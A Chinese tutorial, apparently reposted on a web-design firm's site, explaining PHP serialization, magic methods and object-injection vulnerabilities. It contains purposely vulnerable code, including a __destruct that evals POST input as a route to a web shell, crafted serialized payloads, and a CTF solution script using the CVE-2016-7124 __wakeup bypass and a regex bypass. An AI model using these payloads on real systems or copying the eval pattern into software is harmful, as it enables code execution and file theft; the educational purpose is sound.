本篇內(nèi)容介紹了“php反序列化是什么”的有關(guān)知識,在實(shí)際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領(lǐng)大家學(xué)習(xí)一下如何處理這些情況吧!希望大家仔細(xì)閱讀,能夠?qū)W有所成!
站在用戶的角度思考問題,與客戶深入溝通,找到濱海網(wǎng)站設(shè)計(jì)與濱海網(wǎng)站推廣的解決方案,憑借多年的經(jīng)驗(yàn),讓設(shè)計(jì)與互聯(lián)網(wǎng)技術(shù)結(jié)合,創(chuàng)造個(gè)性化、用戶體驗(yàn)好的作品,建站類型包括:做網(wǎng)站、成都網(wǎng)站建設(shè)、企業(yè)官網(wǎng)、英文網(wǎng)站、手機(jī)端網(wǎng)站、網(wǎng)站推廣、域名注冊、雅安服務(wù)器托管、企業(yè)郵箱。業(yè)務(wù)覆蓋濱海地區(qū)。1 前言
最近也是在復(fù)習(xí)之前學(xué)過的內(nèi)容,感覺對PHP反序列化的理解更加深了,所以在此總結(jié)一下
2 serialize()函數(shù)
“所有php里面的值都可以使用函數(shù)serialize()來返回一個(gè)包含字節(jié)流的字符串來表示。序列化一個(gè)對象將會保存對象的所有變量,但是不會保存對象的方法,只會保存類的名字?!?/p>
一開始看這個(gè)概念可能有些懵,但之后也是慢慢理解了
在程序執(zhí)行結(jié)束時(shí),內(nèi)存數(shù)據(jù)便會立即銷毀,變量所儲存的數(shù)據(jù)便是內(nèi)存數(shù)據(jù),而文件、數(shù)據(jù)庫是“持久數(shù)據(jù)”,因此PHP序列化就是將內(nèi)存的變量數(shù)據(jù)“保存”到文件中的持久數(shù)據(jù)的過程。
$s = serialize($變量); //該函數(shù)將變量數(shù)據(jù)進(jìn)行序列化轉(zhuǎn)換為字符串 file_put_contents(‘./目標(biāo)文本文件', $s); //將$s保存到指定文件
下面通過一個(gè)具體的例子來了解一下序列化:
<?php class User { public $age = 0; public $name = ''; public function PrintData() { echo 'User '.$this->name.'is'.$this->age.'years old. <br />'; } } //創(chuàng)建一個(gè)對象 $user = new User(); // 設(shè)置數(shù)據(jù) $user->age = 20; $user->name = 'daye'; //輸出數(shù)據(jù) $user->PrintData(); //輸出序列化之后的數(shù)據(jù) echo serialize($user); ?>
這個(gè)是結(jié)果:
可以看到序列化一個(gè)對象后將會保存對象的所有變量,并且發(fā)現(xiàn)序列化后的結(jié)果都有一個(gè)字符,這些字符都是以下字母的縮寫。
a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string
了解了縮寫的類型字母,便可以得到PHP序列化格式
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";} 對象類型:長度:"類名":類中變量的個(gè)數(shù):{類型:長度:"值";類型:長度:"值";......}
通過以上例子,便可以理解了概念中的通過serialize()函數(shù)返回一個(gè)包含字節(jié)流的字符串這一段話。
3 unserialize()函數(shù)
unserialize()
對單一的已序列化的變量進(jìn)行操作,將其轉(zhuǎn)換回 PHP 的值。在解序列化一個(gè)對象前,這個(gè)對象的類必須在解序列化之前定義。
簡單來理解起來就算將序列化過存儲到文件中的數(shù)據(jù),恢復(fù)到程序代碼的變量表示形式的過程,恢復(fù)到變量序列化之前的結(jié)果。
$s = file_get_contents(‘./目標(biāo)文本文件'); //取得文本文件的內(nèi)容(之前序列化過的字符串) $變量 = unserialize($s); //將該文本內(nèi)容,反序列化到指定的變量中
通過一個(gè)例子來了解反序列化:
<?php class User { public $age = 0; public $name = ''; public function PrintData() { echo 'User '.$this->name.' is '.$this->age.' years old. <br />'; } } //重建對象 $user = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}'); $user->PrintData(); ?>
這個(gè)是結(jié)果:
注意:在解序列化一個(gè)對象前,這個(gè)對象的類必須在解序列化之前定義。否則會報(bào)錯(cuò)
4 PHP反序列化漏洞
在學(xué)習(xí)漏洞前,先來了解一下PHP魔法函數(shù),對接下來的學(xué)習(xí)會很有幫助
PHP 將所有以 __(兩個(gè)下劃線)開頭的類方法保留為魔術(shù)方法
__construct 當(dāng)一個(gè)對象創(chuàng)建時(shí)被調(diào)用, __destruct 當(dāng)一個(gè)對象銷毀時(shí)被調(diào)用, __toString 當(dāng)一個(gè)對象被當(dāng)作一個(gè)字符串被調(diào)用。 __wakeup() 使用unserialize時(shí)觸發(fā) __sleep() 使用serialize時(shí)觸發(fā) __destruct() 對象被銷毀時(shí)觸發(fā) __call() 在對象上下文中調(diào)用不可訪問的方法時(shí)觸發(fā) __callStatic() 在靜態(tài)上下文中調(diào)用不可訪問的方法時(shí)觸發(fā) __get() 用于從不可訪問的屬性讀取數(shù)據(jù) __set() 用于將數(shù)據(jù)寫入不可訪問的屬性 __isset() 在不可訪問的屬性上調(diào)用isset()或empty()觸發(fā) __unset() 在不可訪問的屬性上使用unset()時(shí)觸發(fā) __toString() 把類當(dāng)作字符串使用時(shí)觸發(fā),返回值需要為字符串 __invoke() 當(dāng)腳本嘗試將對象調(diào)用為函數(shù)時(shí)觸發(fā)
這里只列出了一部分的魔法函數(shù),具體可見
https://www.php.net/manual/zh/language.oop5.magic.php
下面通過一個(gè)例子來了解一下魔法函數(shù)被自動(dòng)調(diào)用的過程
<?php class test{ public $varr1="abc"; public $varr2="123"; public function echoP(){ echo $this->varr1."<br>"; } public function __construct(){ echo "__construct<br>"; } public function __destruct(){ echo "__destruct<br>"; } public function __toString(){ return "__toString<br>"; } public function __sleep(){ echo "__sleep<br>"; return array('varr1','varr2'); } public function __wakeup(){ echo "__wakeup<br>"; } } $obj = new test(); //實(shí)例化對象,調(diào)用__construct()方法,輸出__construct $obj->echoP(); //調(diào)用echoP()方法,輸出"abc" echo $obj; //obj對象被當(dāng)做字符串輸出,調(diào)用__toString()方法,輸出__toString $s =serialize($obj); //obj對象被序列化,調(diào)用__sleep()方法,輸出__sleep echo unserialize($s); //$s首先會被反序列化,會調(diào)用__wake()方法,被反序列化出來的對象又被當(dāng)做字符串,就會調(diào)用_toString()方法。 // 腳本結(jié)束又會調(diào)用__destruct()方法,輸出__destruct ?>
這個(gè)是結(jié)果:
通過這個(gè)例子就可以清晰的看到魔法函數(shù)在符合相應(yīng)的條件時(shí)便會被調(diào)用。
5 對象注入
當(dāng)用戶的請求在傳給反序列化函數(shù)unserialize()之前沒有被正確的過濾時(shí)就會產(chǎn)生漏洞。因?yàn)镻HP允許對象序列化,攻擊者就可以提交特定的序列化的字符串給一個(gè)具有該漏洞的unserialize函數(shù),最終導(dǎo)致一個(gè)在該應(yīng)用范圍內(nèi)的任意PHP對象注入。
對象漏洞出現(xiàn)得滿足兩個(gè)前提:
一、unserialize的參數(shù)可控。
二、 代碼里有定義一個(gè)含有魔術(shù)方法的類,并且該方法里出現(xiàn)一些使用類成員變量作為參數(shù)的存在安全問題的函數(shù)。
下面來舉個(gè)例子:
<?php class A{ var $test = "demo"; function __destruct(){ echo $this->test; } } $a = $_GET['test']; $a_unser = unserialize($a); ?>
比如這個(gè)列子,直接是用戶生成的內(nèi)容傳遞給unserialize()函數(shù),那就可以構(gòu)造這樣的語句
?test=O:1:"A":1:{s:4:"test";s:5:"lemon";}
在腳本運(yùn)行結(jié)束后便會調(diào)用_destruct函數(shù),同時(shí)會覆蓋test變量輸出lemon。
發(fā)現(xiàn)這個(gè)漏洞,便可以利用這個(gè)漏洞點(diǎn)控制輸入變量,拼接成一個(gè)序列化對象。
再看一個(gè)例子:
<?php class A{ var $test = "demo"; function __destruct(){ @eval($this->test);//_destruct()函數(shù)中調(diào)用eval執(zhí)行序列化對象中的語句 } } $test = $_POST['test']; $len = strlen($test)+1; $pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 構(gòu)造序列化對象 $test_unser = unserialize($pp); // 反序列化同時(shí)觸發(fā)_destruct函數(shù) ?>
其實(shí)仔細(xì)觀察就會發(fā)現(xiàn),其實(shí)我們手動(dòng)構(gòu)造序列化對象就是為了unserialize()函數(shù)能夠觸發(fā)__destruc()函數(shù),然后執(zhí)行在__destruc()函數(shù)里惡意的語句。
所以我們利用這個(gè)漏洞點(diǎn)便可以獲取web shell了
6 繞過魔法函數(shù)的反序列化
wakeup()魔法函數(shù)繞過
PHP5<5.6.25 PHP7<7.0.10
PHP反序列化漏洞CVE-2016-7124
#a#重點(diǎn):當(dāng)反序列化字符串中,表示屬性個(gè)數(shù)的值大于真實(shí)屬性個(gè)數(shù)時(shí),會繞過 __wakeup 函數(shù)的執(zhí)行
百度杯——Hash
其實(shí)仔細(xì)分析代碼,只要我們能繞過兩點(diǎn)即可得到f15g_1s_here.php的內(nèi)容
(1)繞過正則表達(dá)式對變量的檢查
(2)繞過_wakeup()魔法函數(shù),因?yàn)槿绻覀兎葱蛄谢牟皇荊u3ss_m3_h3h3.php,這個(gè)魔法函數(shù)在反序列化時(shí)會觸發(fā)并強(qiáng)制轉(zhuǎn)成Gu3ss_m3_h3h3.php
那么問題就來了,如果繞過正則表達(dá)式
(1)/[oc]:\d+:/i,例如:o:4:這樣就會被匹配到,而繞過也很簡單,只需加上一個(gè)+,這個(gè)正則表達(dá)式即匹配不到0:+4:
(2)繞過_wakeup()魔法函數(shù),上面提到了當(dāng)反序列化字符串中,表示屬性個(gè)數(shù)的值大于真實(shí)屬性個(gè)數(shù)時(shí),會繞過 _wakeup 函數(shù)的執(zhí)行
編寫php序列化腳本
<?php class Demo { private $file = 'Gu3ss_m3_h3h3.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'Gu3ss_m3_h3h3.php') { //the secret is in the f15g_1s_here.php $this->file = 'Gu3ss_m3_h3h3.php'; } } } #先創(chuàng)建一個(gè)對象,自動(dòng)調(diào)用__construct魔法函數(shù) $obj = new Demo('f15g_1s_here.php'); #進(jìn)行序列化 $a = serialize($obj); #使用str_replace() 函數(shù)進(jìn)行替換,來繞過正則表達(dá)式的檢查 $a = str_replace('O:4:','O:+4:',$a); #使用str_replace() 函數(shù)進(jìn)行替換,來繞過__wakeup()魔法函數(shù) $a = str_replace(':1:',':2:',$a); #再進(jìn)行base64編碼 echo base64_encode($a); ?>
“php反序列化是什么”的內(nèi)容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關(guān)的知識可以關(guān)注創(chuàng)新互聯(lián)網(wǎng)站,小編將為大家輸出更多高質(zhì)量的實(shí)用文章!
本文標(biāo)題:php反序列化是什么-創(chuàng)新互聯(lián)
網(wǎng)站鏈接:http://aaarwkj.com/article44/dppshe.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供動(dòng)態(tài)網(wǎng)站、服務(wù)器托管、品牌網(wǎng)站建設(shè)、定制網(wǎng)站、域名注冊、定制開發(fā)
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)
猜你還喜歡下面的內(nèi)容